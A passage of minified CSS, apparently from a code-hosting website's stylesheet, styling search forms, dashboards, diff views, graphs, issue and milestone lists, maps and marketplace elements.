h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid 